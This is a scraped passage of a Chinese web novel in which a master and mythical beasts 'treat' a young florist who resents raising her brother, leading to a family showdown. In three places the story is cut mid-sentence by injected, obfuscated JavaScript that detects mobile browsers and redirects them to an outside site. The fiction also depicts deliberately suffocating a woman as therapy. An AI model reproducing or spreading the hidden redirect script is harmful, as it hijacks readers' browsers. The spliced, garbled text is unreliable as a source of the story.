“嗯,爸爸妈妈没时间,都是姐姐陪我玩,给我做好吃的,陪我上学下学。”男孩继续用力点头,想到这些,他又讨厌不起来姐姐了。 “你有没有想过,这些本该是父母做的,可现在,都是落到你姐姐头上了,她可能没那么喜欢你。”独孤尽说完这句话后,鲛人踢了踢独孤尽的脚。 “主人,人类不是不能接受这么直白的……他们比较脆弱。”鲛人的声音很小,只有独孤尽能听见。 “是不是春老师教你的?”独孤尽唇角露出了些许笑意。 “春老师教了我们很久,给我们举了很多例子,我们虽然不能感同身受,但也记住了一些跟人类相处的公式。”鲛人看着男孩的目光都比独孤尽柔和。 “他教得好,你们也学得很好,晚点回去奖励你们。” 独孤尽话是这么说着,但对男孩的态度却没有软化,如果再不严肃点让男孩知道一些残忍的事实,恐怕这姐弟俩会出大问题。 毕竟,画都让他过来了,一定是会出大问题的。 “但是爸爸妈妈要赚钱……”男孩说的应该都是他父母对他说过的话。 “你姐姐不是也在赚钱吗?她的花店应该能抵家里很大开销吧。”想来,女孩在这样的家庭,也不可能做到对家里不闻不问,赚的钱肯定要用来补贴家里的。 “爸爸妈妈说……” 这次没等男孩说完,独孤尽就打断了他。 “小朋友,你应该上小学了吧,不是小孩子了,该学会自己思考,有些事情是对是错,你要有自己的判断。” 76. 为自己而战 男孩似懂非懂,听了独孤尽的话想要自己进行思考,但又不知道该从哪个方向去想。 独孤尽也知一时半刻男孩的想法估计很难扭转,毕竟在那样的家庭环境里,潜移默化已经被洗脑了。 “我们带你去见你姐姐。”独孤尽示意了一下鲛人,鲛人撩了一下头发,弯腰把男孩抱起举在一侧肩上,让他坐着。 “哇啊!”男孩惊呼了一下,很不适应这个高度,慌乱中抱住了鲛人的脑袋,小胳膊这么一搂正好挡住了鲛人的眼睛。 “乖,放开手,我不会让你掉下去。”鲛人尽量放轻自己的声音,生怕把人类崽子给吓到了。 “可是好高,我可以自己走的。”男孩摇了摇头,但过了没一会儿还是乖乖把手放了下来,只是紧紧拽着鲛人的大花衣领。 原本就宽大的领口被扯得更开了,纽扣都在不知不觉中崩掉了一颗,露出大片结实的胸肌。 一行人回到花店时,鲛人已经被“折磨”得衣衫凌乱了。 女孩却只是抬眸看了他们一眼,好半晌才开口,“虞飞,你怎么过来了?” “姐姐,我刚刚被海浪打了……”男孩刚要阐明情况,就发现自己的姐姐闭上了眼睛。 他从鲛人肩上下来,一溜烟跑到自己姐姐身边,趴在她腿上撒娇,“姐姐姐姐,我好害怕,如果不是哥哥们救了我,我就死了。” 当男孩说到“死”这个字的时候,女孩终于有了反应,她的睫毛颤动得很厉害,像是在极力隐忍什么,最后还是睁开了眼,那双眼里是一副平静。 她伸手揉了揉男孩湿漉漉的脑袋,虽然走了一路,但头发还没干透,直接在女孩的裙子上印了一大片水渍,“自己去拿毛巾擦一下。” “谢谢你们救了我弟弟。”女孩的声音仍旧听不出什么异常,但她这种平静的反应才最异常。 鲛人和应龙他们这些神兽倒是不懂,没发现什么不对,但独孤尽已经将怀疑实体化了,他暗自抬了抬手,将整间花店都设为了“怪奇诊所”的区域。 水压上涨时,独孤尽有一瞬能够体会到被水淹没的恐惧。 “主人,这里有什么不对吗?要在这里给谁治疗?”神兽们再迟钝也知道独孤尽放出“怪奇诊所”肯定是有哪里不对劲了。 “这次的任务主人公是她。”独孤尽假装自己在挑花,压低了声音跟神兽说明。 “看似要治拖延症,其实她的心理问题占了很大比例,这么说吧……她是不想动,真的不想动。”独孤尽说了一通,但神兽们还是没明白自家主人的意思。 独孤尽拿起了一朵无尽夏,指尖轻拨花瓣,“她知道海边有危险。” “但她内心就是不想动,她觉得一切凭天意,她不想让弟弟活,但也摸不准自己的心意,是那种很纠缠的心理状态。” 独孤尽解释完,神兽们更加一头雾水了。 人类的情感也太复杂了,这都什么跟什么,扯在一起,那她到底是想她弟弟死,还是不想她弟弟死啊? “包括她经营这家花店,多半是因为家里的原因,要她工作补贴家里,所以她根本不在意这个花店能不能赚钱,也正是因为这样,才会一直拖延,什么也不想动。” “啊,主人,我知道了,这个春老师说过,当一个人对什么都不感兴趣,觉得什么都没意思,不想动的时候,就郁郁了。”有神兽恍然大悟。 “你们春老师还跟你们讲心理学?”独孤尽颇觉有趣,春渐满这培训做得太专业了,晚些时候,这些神兽真要伪装成人逃到现实世界躲起来,谁还能发现破绽? “嗯,春老师说只有更了解人类的心理才能好好跟人类相处,出来做任务的时候才不会暴露什么破绽。” “不错,那这次的诊疗就交给你们了,去吧。”独孤尽可太想做甩手掌柜了。 “主人,其实我是不太明白的,我修炼的时候,也是什么都不想只运转功法,其他什么都不想做的。”鲛人一时没忍住,还是把他的真实感受告知了独孤尽。 他可不知道要怎么给女孩进行治疗,最好这件事落在应龙身上,他跟人类打交道的时候多,想必能参悟人类的心理。 最主要的是能明白主人需要他们怎么做。 “你是不是想运转功法,想修炼,这就是有目标,但她什么都没有,你们看她的眼睛。”独孤尽继续把玩着那朵绣球花,等会儿他是肯定要把这朵花买下来了,花瓣都被他玩得掉了好几片。 神兽按照独孤尽的话,重新观察起女孩的眼睛。 那双眼睛里映着繁花朵朵,原本该折射出绚烂的色彩,但什么都没透出来,像是有什么暗物质把这些美好都吸收掉了。 “主人,我知道要怎么治疗了,我去试试。”鲛人忽然茅塞顿开,他走到女孩面前故意又重复了一句,“你弟弟是我救的,你不开心?” 果不其然,女孩起了些情绪波动,她微微扯着嘴角露出个违心的笑,“谢谢你,救人很难吧,辛苦你了。” “我不是来邀功的,但你如果不想陪弟弟去海边,应该跟父母明说。”鲛人长得高,虽然穿着浮夸,但说起话来,气势仍旧不可小觑。 “他那么小,必须要有监护人才能去那种危险的地方。” 女孩终于从藤椅上起来了,她拿起水壶,往一些花上喷了些水,“我们这边的孩子都这样。” “活成什么样都看命。”她说完似是想起了什么,有点儿咬牙切齿,“况且,有些人家里连兄弟姐妹都没,孩子一个人也会自己跑出去玩。” “你没陪他,他不也是一个人吗?”应龙也走了过来,他接上一句。 “你去这街上看看,有多少孩子是有人陪同的?”女孩最讨厌这种不食肉糜的人,她干脆把冷气关了,“今天闭店了,你们请回吧。” 独孤尽看了看外面大好的太阳,连日落的时间都没到,女孩就要关店,显然是觉得他们太烦人了。 且,女孩本就不想开店,现在可算有正当借口歇业了。 毕竟……他们看起来像不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688973|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速之客,她又是一个女孩子经营花店,免不得要注意自己的安全。 用这个理由回去说歇业几天,恐怕她家里也不会太反对。 独孤尽不喜欢被人当枪使的感觉,但他现在还不想站出来,他想看看神兽们会怎么应对。 应龙学了点独孤尽张口说瞎话的本事,他理直气壮,“我看街上的孩子身边都有大人,只有你家的没有。” “……说吧,你们到底想干什么?”女孩见自己闭店都没法把这群人赶出店去,有点泄气。 “再不说明来意,我可要报警了。” “回去跟你父母说明,让他们自己带孩子。”应龙想到先前独孤尽分析的情况,立马提出要求。 “这是我们家的家事,连警察都不会来管。”女孩脸上的不悦神色终于让她鲜活了起来。 独孤尽听不下去了,他嘴角扯着笑走过来,凑到女孩面前看着她,“不知道你听说过‘怪奇诊所’吗?” “……”女孩愣了愣,没能及时回答,但独孤尽已经从她的反应里看出来她知道“怪奇诊所”。 “‘怪奇诊所’跟我有什么关系,他们都是办大案子的,我们这边最近可没案子。”女孩显然也是个冲浪人。 “你确定没案子?可能现在没有,之后就会有了。”独孤尽意有所指地盯着女孩,这是极其不礼貌的眼神。 “长姐如母,但你本没监护责任,如果你不想管他,就该跟家里讲清楚,实在不行,撕破脸不在这住了,你的网红花店大可去别的地方开分店。” “为什么要开启自毁程序,毁了自己?”独孤尽也是第一次经历这种诊疗,他真不是什么心理医生,这种病症他还真不太会治。 而且,他很怕自己一言不合,把人家这个妙龄少女给治死了。 “你在说什么,我听不懂。”女孩明显听懂了独孤尽的话外之音,但她非要嘴硬,死不承认。 独孤尽扬了扬下巴,给鲛人使了个眼色,鲛人抬手拢了个巨大的水泡,将女孩全身都罩在了里面。 这个水泡里没有空气,女孩在里面会感受到没有空气的窒息。 被这奇怪景象惊到的女孩还没反应过来就发现自己逐渐呼吸不过来,她抚着胸口逐渐弯下了腰,最后蹲坐在地上,胸口剧烈起伏,脸也被憋得越来越红。 独孤尽算准了时间,短暂的缺氧没事,但人不能长时间处于缺氧的环境,否则会对身体造成不可逆的伤害。 这次他可没跟精神体较劲,女孩是真身接受治疗,必须把握分寸。 获得空气时,女孩呛咳起来,她眼角全是泪花,一双眼都红了,从一开始的生理泪水到后来真的委屈地哭出来只花了短短几十秒。 “窒息而死的痛苦你才感受了一半不到,你弟弟才上小学,一定要让他感受这种痛苦吗?不是让你担负他的未来,你要做的是为自己的未来一战。” 独孤尽俯身将那朵被他蹂躏得不像样的无尽夏绣球花放到女孩面前,“帮我把这支花包起来。” 77. 饭桌吵架 女孩的气息还没喘匀,她尽力消化独孤尽的劝诫,眼角的泪却止也止不住,那双手想要去接绣球花,却颤抖着抬不起来。 “给她倒杯水。”独孤尽吩咐应龙。 “谢谢。”女孩接过水喝了两口才终于补充了流失的□□,定了神。 “我没想杀他。”勉强解释了一句,但这句解释犹为苍白。 “海边的危险你不知?”鲛人又拢了个水泡出来,女孩见那透明的泡泡一瞬回到刚才窒息的状态,她脸色刷白,“我,我知道。” “好了。”独孤尽制止了神兽们继续逼问女孩,他坐回了椅子上,“既然你不想杀了你弟弟,那就回去好好跟你父母说清,让他们意识到抚养你弟弟是他们的责任,而不是你这个姐姐的。” “我……”女孩仍在迟疑,有些事不像面上看起来这么简单,如若她真的说出口,可能面临的就是全家的攻讦。 那种目光,能将人活活杀死。 “不要再拖延,拖延对你没有任何好处,对你弟弟也没好处,他现在还小,三观还没固定,还能救一救。”独孤尽的指尖也漂浮着一个小小的水泡,他把玩着水泡,让它在自己的五指指尖上来回跳跃。 “虞飞,回家了。”女孩终于鼓起了勇气。 “好!姐姐,我快好了。”男孩放下毛巾小跑过来,牵住了女孩的手。 “把事情说清楚,好好说,平静地阐述事实。”独孤尽不知道女孩家里到底是什么情况,生怕这件事闹得升级,又引发其他后果。 “放心吧,我会给姐姐打辅助的!”男孩似是想明白了些什么,他拍拍自己的小胸脯保证。 这次,女孩低头看向男孩的目光里多了些神采,也乐意对他展露一下笑颜了。 “主人,我们怎么办?” 女孩提前关了店,带着男孩回了家,接下来的事,不是他们能插手的。 “还能怎么办,隐身跟上去盯着,万一出了事,也能及时处理。”独孤尽有点头疼,神兽们随时随地都能隐身,可他自己却得神魂出窍,或者凭借着“怪奇诊所”,才能做到这点。 神兽们紧紧跟在两人身后,可独孤尽却离得很远,他单独找了间旅店开了房间。 他要把自己的肉身寄存在店里,“我不需要客房服务,下午在海边玩得太累了,我要好好睡上一觉,不要来打扰我。” 在床上躺了会儿,感觉到神兽们没再移动后,他才分离了自己的神魂出来,定位了神兽所在的位置,瞬移过去。 神兽们还没怎么见过独孤尽这种形态,颇感新奇,偷偷打量。 “想看就看,偷看像什么样子。”独孤尽拍了拍鲛人的肩膀。 “主人,我们要再等会儿,他们的父母还没回来。” 应该是还没下班,毕竟打工人都是很辛苦的。 这点,谁也不能否认。 独孤尽开启了随时大小躺,毕竟女孩和男孩在家里并没有做什么其他出人意料的事,两人配合着把晚餐做好了,就玩着手机看着视频等父母回来。 “虞飞,虞君,今天可太热了。”先回来的是母亲,她一进门就将头上戴的遮阳帽脱下了,一边放包一边换鞋。 “等等吃完饭,拿点水,把剩菜收一收,跟我下去喂喂楼下的流浪狗。” “妈妈,妈妈,是小花吗?”男孩的注意力立马被吸引了,他眨巴着眼睛盯着母亲。 “是小花,昨天没看到它,今天倒是瞧见了。” “好耶!它回来啦!我今天要把骨头全留给它!” “别浪费粮食,把肉啃啃干净。”母亲知道自己孩子心善,会故意留好多肉在骨头上。 “虞君,帮我看看手机是不是种病毒了,我今天不知道点了什么,现在上面全是广告。”母亲朝女孩招了招手。 男孩虽然已经满心满眼全是小狗了,但女孩还心事重重,今天这顿晚饭对她来说,至关重要。 她脸色很差地走过去,接过手机给母亲排查问题。 “怎么脸色这么难看,中暑了吗?要不要喝点藿香正气水?”母亲很细心,立马发现了女儿的异常。 “我没事,等爸回来,我有事情要和你们说。”女孩想了半天,终于还是先说出了口。 再不说出口,她怕自己真的要再拖下去,今天拖明天,可能又要陷入之前的情况。 想要借着天意来实现自己的心愿,但今天下午碰到的那群人说得对,这真的是她的心愿吗? 她真的希望自己的弟弟死吗? 她真的真的想让自己的弟弟感受那种窒息的痛苦吗? 太难受了…… 真的太难受了…… “姐姐。”男孩听到女孩的声音,才想起来自己说好要打辅助的,怎么刚才心思全跑小狗身上了,他有点不好意思地走过来。 “没你的事,玩去吧。”女孩摸了摸他的脑袋。 “主人,她会说吧?”神兽有点不放心,万一拖延症犯了,再拖下去,它们得在这里陪他们多少天? “且看着吧。”独孤尽也没法预测,画到现在也没有新的预示,说明一切都还在可控范围内。 过了没多久,这家的男主人总算迎着暮色回了家。 “怎么了?”他一进门就感受到了非比寻常的气氛,有点儿丈二和尚摸不着头脑。 “爸,先吃饭。”女孩想了想,还是不想辛苦了一整天的父母因为自己的话而吃不下饭饿肚子。 “虞君说有事要跟我们讲,天大地大吃饭最大,吃完饭我们再听。”母亲应和了女儿的话。 这桌晚饭和平常的晚饭没什么不同,但两位大人不断对视,搞不清楚一向懂事的女儿要跟他们说什么。 一直熬到晚饭结束,收拾完碗筷,虞君才重新坐回餐桌。 “爸、妈,我……”虞君开了头,就不知道自己这话该怎么说了,她的嘴张了好几次,又看了弟弟好几次,始终没说出来。 “你是不是谈恋爱了?这是好事,你这么大也该找个好人家了。”母亲见女儿半天也说不出来,只能猜测着。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688974|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “对,这是好事,爸妈早就想要抱孙子了,你们年轻人情投意合就行。”父亲以为母亲猜对了,立马接上,却没想到自己的女儿不像往常,她突然站了起来。 “爸!妈!不是这件事,我也不想结婚。”这句话一说,可算是捅了马蜂窝了。 “怎么能不结婚呢?你也这个年纪了,恋爱可以谈起来了,只要有好人家,这婚还是得结的啊。” “我今天要说的事跟这个没关。”女孩继续强调,但两位大人的心思已经被她之前爆出的话给彻底吸引了,根本听不进去她还要再说什么别的。 男孩看着突然吵起来的家人,手足无措,不知道自己该怎么打辅助了。 “啊啊啊!爸爸、妈妈、姐姐!你们不要吵架,不要吵架!”男孩凭借着他年幼的高分贝,让战局更加混乱起来。 “小孩子一边去,大人说话不要插嘴!”父亲严厉地呵斥了男孩。 男孩被这么吼了一句,顿时也不敢再帮腔,可下午发生的事情印刻在他脑海里。 他看了看不知道怎么回事就吵起来的三人,缓缓爬上了椅子,这样他就有大家那么高了,就不是小孩儿了! “不要再吵了!!!” “虞飞!站这么高干什么,多危险啊,爸爸妈妈有没有跟你说过,不能做危险动作,你这个小祖宗要气死我们吗?!” 母亲已经上前去扯男孩,一把就将他从椅子上拽了下来。 “主人!怎么办?我们要不要去帮忙?!”鲛人看不惯,他已经想对人类施展定身咒。 “别插手,这一关必须靠她自己。”独孤尽制止了神兽干预,他何尝不想直接对这对父母进行诊治,但天底下这样的父母何其之多,他治不了这么多,儿女想要冲破枷锁,只能靠自己。 而且,这次画的预示,明显关键人物是这个女孩,她不能靠着别人的力量,要靠她自己才能破茧成蝶。 他相信女孩养了这么多的花,能把花店打理得那么好,一定能成为蝴蝶,将生活扭转过来。 “可是,可是,我看不下去!”鲛人难得情绪上头,他像是想起了什么过往,试图回画里。 “你敢不从命?”独孤尽脸色也差起来,如果神兽都像鲛人这样,想来现世就来,不想来就回,那他这个主人还有什么约束力? “不敢,但我真的看不下去了。”鲛人叹了口气,放下手,干脆把自己的眼睛闭了起来。 “不看就不看吧。”独孤尽没逼鲛人,他看了应龙一眼,让他盯着点蛟龙,别惹出事来。 女孩见男孩被父母骂了,脸上神色一时畏惧一时愤恨,她深吸了口气,用力拍了桌板一记。 “啪——”这一声像是给她壮了胆,“我说了,今天我有事要说,能不能听我说完?!” “年纪不大,脾气倒大,我和你妈在外面辛辛苦苦工作累了一天回来,半点关心没有,还要跟我们吵……” “停!你们再不听我说,我就把弟弟掐死!”女孩忍无可忍,双手直接落在了男孩脖颈上。 78. 姐弟俩的配合战 被唬住的不是女孩的父母,而是男孩,他以为自己即将被掐死,脸上已经条件反射露出了痛苦的神色,毕竟他下午才刚经历了溺水的窒息,那种感同身受的痛楚让他脸一下就白了。 可他等了半天,也没等到脖子上的疼痛,而且他只是自己不敢呼吸,现在回过神发现自己不仅可以呼吸,还呼吸地特别畅快。 他偷偷睁开一只眼睛看了一眼,发现姐姐正满脸狰狞,双手非常用力地“掐”着他。 终于心领神会的他冲着姐姐眨了几下眼睛,随后更加卖力地打起配合。 “呜……呜……啊……”他装作自己被掐到快不行了,发出痛苦的呜咽。 “虞君!!!那可是你弟弟!亲弟弟啊!你快放手!”这下,两位大人真的察觉到事情不对了,手忙脚乱想要过来拽开女孩的手。 女孩又往后撤了一步,她警惕地看着父母,“你们别过来,不然我就下重手了。” “虞君!你在干嘛!发的什么疯?!”虞母根本不相信自己的女儿会干出这种事,她甚至开始了胡乱猜测,“你不是虞君!一定是新型的骗术!你是谁?!” “可以听我说话吗?”女孩失望地手都松下来了,她好像被抽干了力气,不想再演威胁戏码了。 “你有什么话倒是说啊,谁不让你说话似的。” “……”女孩沉默了片刻,眼里的光一点点暗下去,男孩看到姐姐的神情,吓得用脚踢了踢她。 女孩那双无神的眼睛盯着弟弟充满生机的双眸,那种想要毁灭一切的想法又如野草一般在心里生根发芽。 “以后虞飞的事与我无关,不要找我,他是你们的孩子,你们自己带。”女孩终于把话清晰地说了出来,只不过她说话一向没有分量,这两个大人也不可能把她带话当回事。 “什么叫与你无关,你可是他姐姐!”果不其然,父亲大发雷霆,试图掀桌,但想到桌上的东西砸坏了费钱,只能收了手,也用力拍了一下桌面。 “我是他姐姐没错,但我不是他妈,也不是他爸,这个孩子也不是我生的,你们非要生他的时候就该想到要照顾他。”女孩开了个口后,像是找回了嘴巴,能够继续表达了。 “哈哈,你们不会想着让我这个姐来给他当妈吧?” “你们就是这么想的,因为有我这个姐姐,所以你们只要出去工作,儿子直接丢给我就好了,反正我的工作也是自己开店,时间自由,想怎么样都行是吧?”女孩的这些话她父母估计没听进去多少,但男孩却听进去了。 他悄悄伸手扯了扯姐姐的衣摆。 之前被大哥哥说的时候,他还没法确切意识到问题出在哪,可现在,他明白了,他是爸爸妈妈的孩子,姐姐跟他一样也是爸爸妈妈的孩子,该是爸爸妈妈照顾他们,而不是让姐姐一个人照顾他们三个。 男孩想到了很多很多,家里每天的饭是姐姐做的,接送他上下学的也是姐姐,姐姐的工资还会补贴家用,而且……他每次想要玩什么好玩的,想吃什么好吃的,爸爸妈妈都让姐姐带着去,给他买…… 姐姐说得对啊,他又不是姐姐生的,为什么一直是姐姐照顾他? 而且爸爸妈妈也不是姐姐生的…… 男孩越想越激动,他干脆把自己的脖子往女孩手里送。 女孩本已收了手,却被弟弟捧起了手,掐在他脖子上,一时间还真给她搞懵了。 “爸爸、妈妈!你们对姐姐太不公平了!如果你们不想养我,我就让姐姐掐死我,反正我也是姐姐养大的!”男孩加入战局后,两位大人的怒火更甚了。 尤其发现自己的宝贝儿子也跟女儿站在一边,火气就更大了,“你是不是傻!你姐姐一个女孩子,以后是要嫁人的,她也就现在能尽尽孝了,以后我们是要你养老的,现在让她照顾照顾家里怎么了。” “我才不给你们养老,我要给姐姐养老!”男孩说完还做了个鬼脸,他现在还不知道在法律上,他有义务赡养老人,他的姐姐也有这个义务。 “我今天非要和你爸一起揍死你们!一个个都皮痒了!”虞母气急,随手找了根擀面杖就要往两个孩子身上抡。 “救命啊!救命!”男孩一边喊一边乱窜。 女孩没来得及躲,一时间挨了几下。 独孤尽赶忙抬手,让这里变成“怪奇诊所”的区域。 “中邪了!中邪了!怎么打不下去了?!”虞母心有余悸收回手,她刚刚想继续打时,不知道前面有什么东西阻碍了她,她往下抡了好几下都没能抡下去,像是有什么无形的物质拦住了她。 “真邪门!”虞母觉得今天回来之后发生的一切都特别邪门,不知道是不是有什么不干净的东西上了她宝贝儿子、女儿的身,让一向乖巧懂事的儿女突然变成这样。 “让我来!”虞父不相信中邪之说,他板着一张脸接过虞母手中的擀面杖,一棍子抽下去,对准的正是女孩的背部。 可人近在咫尺,却像是有什么无形的屏障将他们阻隔开来,这棍子竟是无法往下打半分。 “什么东西?!”亲身经历后,虞父也惊惶起来,他四处张望,又拿着擀面杖胡乱挥打了一通。 但只要不朝着儿子女儿下手,其他地方都是空气,没有屏障。 “老伴,咱们的孩子是不是有守护灵?是不是守护灵在保护他们,所以才打不到。”虞父的想象力跟虞母比起来真是不遑多让。 “我觉得不像守护灵,哪个守护灵会让我们家庭破裂成这样?!肯定是邪祟。”虞母坚持自己的看法。 女孩趁父母讨论情况,拉着弟弟就往房间里跑。 她跟男孩住在同一间房里,可以说,她一个年轻女孩,半点儿自己的隐私都没有,得亏她弟弟年纪还小,不然更加尴尬。 “你恨我吗?”女孩把房门反锁上,坐在床上看着眼前的小豆丁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688975|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “姐姐,你在说什么,我为什么要恨你?”男孩满脸不解,他伸手贴了贴女孩的额头,“没发烧啊。” “恨我毁了这个和谐的家,恨我不想照顾你,恨我下午没陪你去海边,让你遇到危险。”女孩的心脏一阵阵揪着疼。 “姐姐明明是在拯救我们家,我今天才知道,有这么多的事都不该是姐姐一个人的。”男孩坐到姐姐的身边,继续抓着我她的衣摆轻轻摇晃。 “要不是姐姐说得这么清楚,我都不知道自己错在哪。”男孩不免有些唏嘘,他这个榆木脑袋。 “虞飞,记住这点,你没有错,无论姐姐跟爸妈说了什么,你都没错。”女孩握住了男孩撒娇的手。 “你无法选择自己的生命,也无法选择谁来养你,倒是我,该跟你说声对不起。”女孩想了想,还是打算坦白。 “姐姐,你怎么知道我遇到危险了?”男孩终于想起来自己好像漏问了什么。 “今天下午的那帮人说得很明显了,这也正是我要跟你道歉的地方。”女孩觉得自己从来没这么果断过,一点拖延症都没了。 “我没法对你动手,伤害你,但我希望有意外,能让你消失。” 男孩没想到自己的姐姐竟然讨厌他到希望他暴毙的程度。 “姐姐,你这么讨厌我吗?” “嗯,讨厌的,但姐姐也爱你。”女孩不知道怎么描述自己这种复杂的心理。 弟弟是她一手带大的,感情有多深厚自然不必说,但她同时又极其讨厌弟弟,这两种感情同时存在,相互影响,导致她的拖延症越来越严重,似乎只有逃避才能解决问题。 “我不懂。”男孩没办法理解这种复杂的情绪,“既然爱我为什么会讨厌我?” “你不是很喜欢小狗吗?如果你把小狗抱回来之后,家里所有人都喜欢它,并且在喜欢它的同时,完全忽视了你,你还要一直管着小狗,但小狗什么都不用做,就可以轻易赢得大家的喜欢。”女孩不知道自己描述的弟弟能不能听懂。 “我好像知道是怎么回事了。”男孩略微思索了片刻,把女孩的话捋顺了。 “那我也讨厌姐姐,我也有想过要是姐姐不在就好了……”男孩有点心虚地看了一眼女孩,“之前爸爸妈妈把关于我的事都推给你之后,我就讨厌你了。” “我有的时候会想,如果没有姐姐,爸妈就没办法,只能自己来照顾我了。”男孩说这些话的时候很沉重,他原本压根没打算把自己这种惊世骇俗的想法公之于众。 “但我又很爱姐姐,我懂这是什么感觉了,姐姐!谢谢你跟爸妈摊牌!” “主人……他们这样没事吗?”鲛人都快贴到人家头发上去了,生怕等会儿出意外。 “不破不立,这家父母问题太大,再看会儿,实在不行就对症治疗。”独孤尽叹了口气,他的拖延症犯了,能不动手,他还真不想动手,且再看看吧。 79. 一夜丧两子 这边姐弟俩倒是已经和解了,两人神色都不似之前的剑拔弩张,但他们的父母还在疑神疑鬼,疑了半天竟也没疑到自己身上。 “主人。”神兽们纷纷冲着独孤尽抱拳,它们实在看不下去了,想要申请出诊。 “那就,让他们看看按照自己所想的乖儿子乖女儿发展到后面会怎么样。”独孤尽没再犹豫,他让自己的神魂回了趟旅店,让真身一起瞬移了过来。 有些时候,不亲身体验一次,是无法意识到问题所在的。 当然,很多人亲身体验了也无法吸取教训,那就要重新调整诊疗手法了。 “主人,准备就绪了。”神兽们全都目光炯炯,蓄势待发。 其实神兽们还真不是在想让这对父母意识到自己的问题,它们只是想看他们追悔莫及的样子,恶趣味而已。 “等会儿别太过分,一切按照我们没干预的情况来。”独孤尽轻轻抬手,再次不适应地甩了甩耳朵。 鲛人幻化成了男孩的模样,而应龙则幻化了女孩的模样,其他神兽扮演了路人甲乙丙丁,独孤尽最方便,他负责通知这对父母关于男孩溺水的噩耗。 虞父和虞母则在独孤尽的控制下,暂时失去了今晚回家后女儿跟他们谈话的记忆。 两人分别下班回家,却没见到早就该在家做好晚饭的女儿,等了许久,外面天都擦黑了,才终于等到了女儿。 “虞君,今天回来怎么这么晚,生意很好?”夫妻俩现在还没意识到儿子没回来有什么不对劲。 “今天来买花的客人多,回来晚了,虞飞呢?”应龙率先问起了弟弟。 夫妻俩又喊了两声,“虞飞!虞飞!” “你们没去接弟弟吗?我给你们发了消息,今天店里忙,让你们下班后帮忙去接一下弟弟。”应龙拿出手机,给他们看消息。 夫妻俩这才拿出手机看了眼,确实一早就发了消息,但他们一向放心把孩子交给女儿带,完全没注意。 “虞飞这孩子也是,又不是不认识家,玩到这么晚也不回来。”这两人没法责怪女儿,只能把牢骚发在儿子身上。 “虞君,你把晚饭做了,我去海边接你弟弟。”虞母安排了一下,穿上鞋子就往外走。 虞父躺在了沙发准备眯会儿,他上了一天班累了,得歇会儿。 应龙哪里会做什么饭菜,他一向只会呼风唤雨,调遣虾兵蟹将。 索性厨房里有水,指挥着水帮他把饭做了,才把东西端上桌。 如果虞父有心,也能尝出来这些饭菜的味道很不一样,但虞父还是没在意,他觉得今天和平时的哪一天都一样,只不过虞飞贪玩晚回来了点。 他也没等虞母和儿子,直接招呼了女儿一起把晚饭干了。 一直到洗漱完躺上床,他才被手机上接二连三的电话给吵得醒了神。 “喂?”这会儿,人已经在半梦半醒间了。 应龙收拾完碗筷就假装回了房间,实则隐身跑虞父房间看戏去了。 “你说什么?!找不到虞飞?!”虞父这会儿怒火上头,还没意识到儿子会出意外。 “我跟女儿一起出来找!”他火冒冒地套了件短袖,用力敲着女儿的房门。 “虞君!快,跟我一起出去找你弟弟,他不知道跑哪疯去了。” 应龙赶忙回了房间,一脸懵地开了门,脸上还演了几分焦急与自责,“我该给你们打个电话的,当时怕你们上班不方便接,都怪我。” 他一嘴的茶言茶语,关键虞父还没有鉴茶能力,他听完原本想要责怪女儿的心又只能怪自己了。 “不怪你,快,我们分头找,你想想虞飞喜欢去什么地方。晚上十一点我们在海边汇合,再找不到就只能报警了。” 真正走在漆黑的夜路上,虞父才开始担忧,虽然他们这边一向比较安全,谁家都不管着孩子,但万一…… 虽然不想把这种万一想到自己身上,但万一呢…… 一旦有了这种念头,就容易在脑海里挥之不去。 虞父跟虞母碰头时,虞母已经几近崩溃,她急的满头大汗,“我问过海边的摊贩了,他们都说见过虞飞,但是后来都没注意了。” “你说虞飞会不会……”虞母也想到了些不好的。 “不会,不会,虞飞从小就在水里淌着,不会去危险的海域,他水性那么好,不会出事的。”虞父安慰了两句,“我们沿着海边再喊一圈,我已经让虞君去虞飞平时喜欢去的地方找了,实在找不到我们就报警。” 两人心里惴惴不安,但也没别的办法,只能继续喊,有些相熟的商贩见状也没做生意的心思了,收了摊,帮忙一起在海边找起人来。 原本说好晚上十一点就集合,但应龙早就隐身在一旁看戏了,这边找得焦急,应龙看得却有点儿无趣了,他戳了戳准备让自己分身扮演尸体的鲛人。 “等会儿幻化个死状让人怜惜的,让那两口子后悔去。” “知道,其实我有点不忍心了,但重头戏还没演,不足以让他们悔恨。”鲛人只能让自己拼命回忆之前这两口子让人气恼的画面。 “你还好心上了。”应龙看了看天色,觉得自己该加把火。 他挥了挥手,很快,天上就聚集起了乌云,滂沱大雨说下就下。 把那些该淋湿的人全淋湿了,“该你了,这会儿气氛正好。” “雨一下,潮水一涨,尸体就该漂上岸了。” 